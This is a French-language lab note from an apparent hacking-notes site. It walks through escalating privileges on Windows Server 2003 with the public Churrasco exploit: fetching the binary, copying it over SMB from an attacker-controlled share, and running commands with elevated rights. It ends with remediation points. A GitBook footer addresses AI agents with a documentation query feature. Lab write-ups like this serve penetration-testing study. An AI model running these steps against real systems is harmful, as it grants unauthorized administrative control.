# Windows Server 2003 - Churrasco

Windows Server 2003 est obsolète et expose de nombreuses faiblesses historiques. Cette note montre l’utilisation de Churrasco dans un laboratoire lorsqu’un contexte de privilèges compatible est présent.

## Détection

```powershell
systeminfo
```

Vérifiez les privilèges disponibles :

## Outil

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

## Transfert via SMB

```bash
smbserver.py share $(pwd) -smb2support
```

```powershell
copy \\10.10.14.30\share\churrasco.exe churrasco.exe
```

Tester l'exécution :

```powershell
./churrasco.exe "whoami"
```

## Validation de la commande privilégiée

Servez un petit utilitaire de validation uniquement si le laboratoire l’exige :

```bash
smbserver.py share $(pwd) -smb2support
```

Exécutez la commande via Churrasco :

```powershell
.\churrasco.exe "cmd /c whoami /all > C:\WINDOWS\Temp\churrasco-check.txt"
type C:\WINDOWS\Temp\churrasco-check.txt
```

## Points clés

* Windows Server 2003 doit être considéré comme non maintenable en production.
* Confirmez l’architecture et les privilèges avant de tester l’exploit.
* Corrigez en retirant le système ou en imposant une isolation stricte jusqu’à ce que la migration soit terminée.

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/kernel-exploitation/windows-server-2003-kernel-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
